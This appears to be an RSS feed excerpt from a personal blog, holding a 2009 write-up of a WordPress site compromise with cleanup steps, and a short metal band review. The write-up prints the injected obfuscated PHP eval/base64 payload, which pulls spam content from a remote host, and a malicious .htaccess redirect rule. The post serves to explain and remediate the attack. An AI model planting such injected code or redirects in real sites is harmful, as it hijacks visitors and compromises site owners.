		<description><![CDATA[[note:  there have been significant updates on why this is occurring, but the solutions to it remain relatively the same for the moment]

Sometime in the last week, my “kyle-brady.com” account with MediaTemple was compromised via a Wordpress 2.8.5 exploit, and it caused havoc for a few days – I finally noticed it on the evening [...]]]></description>
			<content:encoded><![CDATA[<em>[note:  <a href="#updates">there have been significant updates on </a></em><em><a href="#updates"><span style="text-decoration: underline;">why</span> this is occurring</a>, but the solutions to it remain relatively the same for the moment]</em><br />
<br />
Sometime in the last week, my <a href="http://www.kyle-brady.com">“kyle-brady.com”</a> account with <a href="http://www.mediatemple.net">MediaTemple</a> was compromised via a <a href="http://www.wordpress.org">Wordpress</a> <span id="wp-version-message">2.8.5 </span>exploit, and it caused havoc for a few days – I finally noticed it on the evening of 11/6/2009, and it was finally resolved in the afternoon of 11/7/2009.<br />
<br />
Here’s what happened:<br />
<ul><br />
	<li>an IP address from Texas submitted a POST request to Wordpress that somehow <a href="#file">uploaded a file</a>, which extracted itself and injected a piece of <a href="#code">Javascript eval() code</a> to execute after the &lt;/html&gt; tag</li><br />
	<li>a list <a href="#link">of hundreds of URLs</a> to assorted pages, mostly porn, appeared after the &lt;/html&gt; tag on all pages of the site</li><br />
	<li>for content created after the attack, it somehow embedded itself inside the Wordpress content, and all links redirected to a malware site – in addition to breaking the entire page</li><br />
</ul><br />
Here’s how to fix it:<br />
<ul><br />
	<li>remove the eval() code from “index.php” in the root Wordpress directory</li><br />
	<li>delete and recreate, through the Wordpress panel (NOT directly in the database), all infected posts</li><br />
	<li>delete the .nfs* file in the root Wordpress directory</li><br />
	<li>if you’re really paranoid, replace all the Wordpress files with clean source</li><br />
	<li>open the root .htaccess file and <a href="#htaccess">remove this code</a></li><br />
</ul><br />
I originally thought that someone may have gained access to Wordpress, or the server itself, and modified some themes files or something Apache-level, but this obviously wasn’t the case.  MediaTemple was essential in discovering both the problem and solution, even though it’s outside the realm of hosting – they’re the ones that discovered an IP in Texas made a POST request to upload a file, and they discovered exactly what was going on.<br />
<br />
If MediaTemple had refused to help me, it would have been much more difficult to figure all of this out, since I’m not familiar enough with servers to easily run log searches, or other tools necessary for this sleuthing.  But they didn’t, and one of the Support Technicians (Mike M.) actually spent a few hours in the middle of the night poking around for me, and called me at 4:30am PST with a definitive solution.<br />
<br />
Wordpress Security has already been contacted about this issue, to hopefully help others avoid this issue in the future.  Many thanks to MediaTemple, especially Mike M. and Chris K., for the unexpectedly awesome assistance.<br />
<br />
--- --- ---<br />
<a name="#updates"></a><br />
<strong>Update (11/8/2009 10:25pm PST):</strong> <a href="http://www.kyle-brady.com/2009/11/07/wordpress-mediatemple-and-an-injection-attack/#comment-22422440">Thanks to Dan's discovery</a>, the .htaccess editing has been included in the removal steps.<br />
<br />
<strong>Update (11/12/2009 9:50pm PST):</strong> Evidence is mounting (in the comments below, <a href="http://core.trac.wordpress.org/ticket/11104">the Wordpress bug ticket</a>, and elsewhere) that while this may be a Wordpress exploit, it is appearing on other non-WP CMS installations, and may have a server-configuration component to it.  Details to come.<br />
<br />
<strong>Update (11/15/2009 1:30pm PST):</strong> MediaTemple has been ignoring me for the last few days on this issue, and I've just been hit by the same attack in the last few hours - this time on Wordpress 2.8.6, the security release that was supposed to fix this.<br />
<br />
<strong>Update (11/15/2009 2:10pm PST):</strong> I've decided to escalate this, and <a href="http://www.inquisitr.com/47860/the-epic-wordpress-mediatemple-failure/">wrote about it at <em>the Inquisitr</em></a>.<br />
<br />
<strong>Update (11/16/2009 12:30pm PST):</strong> I got a length, personal email from MediaTemple yesterday, and a long phone call today about this issue - I can't say alot right now, but MediaTemple is taking ownership of this problem, and is working on it.  Details to come soon.<br />
<br />
--- --- ---<br />
<br />
<strong>More details:</strong><br />
<br />
<span style="text-decoration: underline;"><em>Uploaded File</em></span><a name="file"></a><br />
<br />
named “.nfs*” in the root Wordpress directory<br />
<blockquote>&lt;?php<br />
/**<br />
* Front to the WordPress application. This file doesn't do anything, but loads<br />
* wp-blog-header.php which does and tells WordPress to load the theme.<br />
*<br />
* @package WordPress<br />
*/<br />
<br />
/**<br />
* Tells WordPress to load the WordPress theme and output it.<br />
*<br />
* @var bool<br />
*/<br />
define('WP_USE_THEMES', true);<br />
<br />
/** Loads the WordPress Environment and Template */<br />
require('./wp-blog-header.php');<br />
?&gt;&lt;!--5edfgh345--&gt;&lt;?php eval(base64_decode("JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2xpbmtzMi9saW5rLnBocCI7IGlmIChleHRlbnNpb25fbG9hZGVkKCJjdXJsIikpeyANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpO30NCmVsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBAJHI7DQo=")); ?&gt;</blockquote><br />
<span style="text-decoration: underline;"><em>Javascript Eval Code</em></span><a name="code"></a><br />
<br />
found in “index.php” in the root Wordpress directory<br />
<blockquote>&lt;!--5edfgh345--&gt;&lt;?php eval(base64_decode("JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2xpbmtzMi9saW5rLnBocCI7IGlmIChleHRlbnNpb25fbG9hZGVkKCJjdXJsIikpeyANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpO30NCmVsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBAJHI7DQo=")); ?&gt;</blockquote><br />
<span style="text-decoration: underline;"><em>Example Link</em></span><a name="link"></a><br />
<br />
found after the &lt;/html&gt; tag on all pages, list of hundreds of similar URLs<br />
<blockquote>&lt;a href="http://e-officeadmin.com/kurkb/blow-dryer-tattoo.html"&gt;blow dryer tattoo&lt;/a&gt;</blockquote><br />
<span style="text-decoration: underline;"><em>.htaccess Code</em></span><a name="htaccess"></a><br />
<br />
found in the root ".htaccess file"<br />
<blockquote>RewriteEngine On<br />
<br />
RewriteOptions inherit<br />
<br />
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]<br />
<br />
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]<br />
<br />
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]<br />
<br />
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]<br />
<br />
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]<br />
<br />
RewriteRule .* http://you-search.in/in.cgi?4&amp;parameter=sf [R,L]</blockquote>]]></content:encoded>
			<wfw:commentRss>http://www.kyle-brady.com/2009/11/07/wordpress-mediatemple-and-an-injection-attack/feed/</wfw:commentRss>
		<slash:comments>87</slash:comments>
		</item>
		<item>
		<title>For All Their Lives &#91;Metal Band of the Week&#93;</title>
		<link>http://www.kyle-brady.com/2009/11/07/for-all-their-lives/</link>
		<comments>http://www.kyle-brady.com/2009/11/07/for-all-their-lives/#comments</comments>
		<pubDate>Sat, 07 Nov 2009 08:05:53 +0000</pubDate>
		<dc:creator>Kyle Brady</dc:creator>
				<category><![CDATA[Metal Band of the Week]]></category>
		<category><![CDATA[Band]]></category>
		<category><![CDATA[For All Their Lives]]></category>
		<category><![CDATA[Metal]]></category>
		<category><![CDATA[Music]]></category>
		<category><![CDATA[Review]]></category>

		<guid isPermaLink="false">http://www.kyle-brady.com/?p=5113</guid>
		<description><![CDATA[

While not strictly metal, For All Their Lives is a band that lives on the borders and is worth mentioning, thanks to their sound and distinct showing of promise.  This five-piece out of the northern Gulf Coast of Florida is a compelling fusion of post-hardcore, a less-annoying brand of emocore, and progressive hardcore, which sounds [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.kyle-brady.com/wp-content/uploads/2009/11/forAllTheirLives.png"><img class="aligncenter size-full wp-image-5105" title="forAllTheirLives" src="http://www.kyle-brady.com/wp-content/uploads/2009/11/forAllTheirLives.png" alt="forAllTheirLives" width="600" height="324" /></a></p><br />
<br />
While not strictly metal, <em>For All Their Lives</em> is a band that lives on the borders and is worth mentioning, thanks to their sound and distinct showing of promise.  This five-piece out of the northern Gulf Coast of Florida is a compelling fusion of post-hardcore, a less-annoying brand of emocore, and progressive hardcore, which sounds as if it might be an unruly mess of noise – except that it isn’t.<br />
<br />
For most bands with only a two-song catalog to cherry-pick, it’s difficult to find distinctive themes throughout<em> </em>their work, but <em>For All Their Lives</em>’ musical influences and heroes make themselves extremely evident, at least within the shadowy boundaries of the metal community:  <em>Saosin</em>, <em>Misery Signals</em>, <em>Bless The Fall</em>, and other similar bands that prefer to blend their genre constraints.  Perhaps this is why their band image is what some would consider decidedly “unmetal”, but the v-neck t-shirts and slightly-messy, short-length hair can be found in those which they are channeling.<br />
<br />
The use of both harsh vocals and higher-pitched, borderline emo singing creates a dichotomy that works surprisingly well, allowing the musical vibe to be rhythmic, uplifting, and, at times, groove-worthy.  Additionally, the choice of guitar techniques and sound follow similar patterns that switch between heavily distorted breakdowns and faster-paced, melodic-riff choruses that enhance the vocal techniques to greater effect.<br />
<br />
Great potential lies with <em>For All Their Lives </em>as a genre-fusion band on the very edges of metal, and they may end up effecting the same genres of which they span – only time will tell.<br />
<br />
<em>For All Their Lives</em> can be <a href="http://www.myspace.com/foralltheirlives">found on MySpace</a>, along with their two-song catalog.]]></content:encoded>
			<wfw:commentRss>http://www.kyle-brady.com/2009/11/07/for-all-their-lives/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
